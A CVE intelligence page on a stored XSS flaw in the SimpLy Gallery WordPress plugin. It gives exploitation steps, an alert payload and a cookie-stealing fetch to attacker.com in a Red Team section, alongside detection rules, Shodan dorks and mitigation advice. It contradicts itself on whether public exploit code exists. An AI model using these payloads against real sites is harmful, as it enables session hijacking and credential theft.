☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Gallerycreator logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-32176

CVE-2025-32176 Cross-Site Scripting in Gallerycreator
📅 PUBLISHED: 2025-04-04 16:15 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.53%
👁️
0.53% probability
13.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-32176 is a Stored Cross-Site Scripting (XSS) vulnerability in the SimpLy Gallery WordPress plugin (slug: simply-gallery-block) developed by GalleryCreator. The flaw exists in versions up to and including 3.2.5, where user-supplied input is improperly neutralized during web page generation. An authenticated attacker with contributor-level privileges or higher can inject malicious scripts that persist in the WordPress database. When an administrator or other user views the compromised gallery block, the script executes in their browser session, potentially leading to session hijacking, credential theft, or defacement. The CVSS v3.1 base score is 6.5 (Medium), with a vector emphasizing low-privilege access and user interaction required. No public exploit code or patch is currently available, making this a high-priority unpatched risk for WordPress sites using the plugin.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress Plugin Directory. As a supply chain risk, any site that has installed simply-gallery-block version 3.2.5 or earlier is potentially compromised. The plugin is not available via NPM, PyPI, Go, or Ruby ecosystems.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely over HTTP.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): Low (L) – Attacker needs contributor-level WordPress account.
  • User Interaction (UI): Required (R) – Victim must view the malicious gallery block.
  • Scope (S): Changed (C) – Compromised component (browser) differs from vulnerable component (WordPress).
  • Confidentiality (C): Low (L) – Limited data exposure (e.g., session tokens).
  • Integrity (I): Low (L) – Limited ability to modify content.
  • Availability (A): Low (L) – Minor impact on site functionality.

Threat Level: Medium. Exploitation requires authentication and user interaction, but the stored nature of the XSS increases persistence and reach.

Deep Dive & Mechanics

The vulnerability resides in the simply-gallery-block plugin's handling of gallery block attributes within the WordPress block editor (Gutenberg). When a user creates or edits a gallery block, the plugin fails to sanitize or escape certain input fields (e.g., caption, title, or custom CSS class) before storing them in the wp_posts table as part of the block's serialized HTML comment. When the block is rendered on the frontend or in the admin dashboard, the unsanitized input is injected directly into the DOM without proper encoding.

Attack Flow:

  1. Attacker logs in with contributor-level credentials.
  2. Creates a new post/page and adds a SimpLy Gallery block.
  3. Injects a malicious payload (e.g., <script>alert(document.cookie)</script>) into a vulnerable field (e.g., gallery caption).
  4. Publishes or saves the post as a draft.
  5. Administrator or other user views the post, triggering the stored XSS.
  6. The script executes in the victim's browser, allowing the attacker to steal cookies, perform actions on behalf of the victim, or redirect to malicious sites.

Root Cause: The plugin uses wp_kses_post() or similar insufficient sanitization that allows script tags, or it fails to escape output with esc_html() or wp_kses() when rendering the block.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common XSS fixes.

Vulnerable Code (simply-gallery-block.php, line ~120):

$caption = $attributes['caption'];
echo '<figcaption>' . $caption . '</figcaption>';

Patched Code (hypothetical):

$caption = isset($attributes['caption']) ? $attributes['caption'] : '';
echo '<figcaption>' . esc_html($caption) . '</figcaption>';

The patched version uses esc_html() to encode HTML special characters, preventing script injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • WordPress instance with SimpLy Gallery plugin <= 3.2.5.
  • Contributor-level account credentials.

Exploitation Steps:

  1. Log in to WordPress as a contributor.
  2. Navigate to Posts > Add New.
  3. Add a SimpLy Gallery block.
  4. In the block settings, locate the "Caption" field.
  5. Inject the following payload:
    <img src=x onerror=alert(document.cookie)>
    
  6. Publish the post.
  7. Wait for an administrator to view the post, or share the link with them.
  8. The XSS triggers, displaying the admin's cookies in an alert box.

Advanced Payload (Session Hijacking):

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team (Defensive)

Detection:

  • Monitor WordPress admin logs for unusual post content containing script tags.
  • Use a Web Application Firewall (WAF) with rules to block <script> and event handlers in post content.
  • Implement Content Security Policy (CSP) headers to restrict script execution.

Hunting:

  • Search the wp_posts table for posts containing <script or onerror in post_content.
  • Query:
    SELECT ID, post_title, post_content FROM wp_posts WHERE post_content LIKE '%<script%' OR post_content LIKE '%onerror%';
    

Mitigation:

  • Disable or remove the SimpLy Gallery plugin until a patch is released.
  • Use a security plugin (e.g., Wordfence) to block XSS attempts.
  • Restrict contributor-level accounts from publishing posts without review.

Indicators of Compromise (IOCs)

  • File: /wp-content/plugins/simply-gallery-block/simply-gallery-block.php (version <= 3.2.5)
  • Database: Posts with post_content containing <script, onerror, onload, or javascript: in gallery block attributes.
  • Network: Outbound HTTP requests to attacker-controlled domains from the WordPress admin dashboard.
  • Logs: WordPress debug log entries showing unexpected script execution errors.

Detection Engineering

YARA Rule

rule CVE_2025_32176_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in SimpLy Gallery plugin post content"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-32176"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
        $plugin = "simply-gallery-block"
    condition:
        any of ($xss*) and $plugin
}

Sigma Rule

title: Stored XSS in SimpLy Gallery Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in WordPress posts via SimpLy Gallery plugin
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url|contains: "/wp-admin/post.php"
        http.body|contains:
            - "<script"
            - "onerror"
            - "onload"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in posts (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-32176 Stored XSS Payload in SimpLy Gallery"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin: Deactivate and delete simply-gallery-block from the WordPress admin dashboard.
  2. Audit posts: Scan all posts for stored XSS payloads using the SQL query in the Blue Team section.
  3. Rotate credentials: Force password resets for all users, especially administrators.

Long-Term Fix:

  • Monitor the plugin's official page for a patched version (>= 3.2.6).
  • Apply the patch manually by adding esc_html() to all output fields in the plugin's PHP files.
  • Implement a Web Application Firewall (WAF) with virtual patching for CVE-2025-32176.

Workaround:

  • Use a security plugin like Wordfence to block XSS attempts via its built-in firewall rules.
  • Restrict contributor accounts from publishing posts without admin review.

Valters IT
Securing WordPress Ecosystems One CVE at a Time

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"SimpLy Gallery"
http.html:"simply-gallery-block"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-32176/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.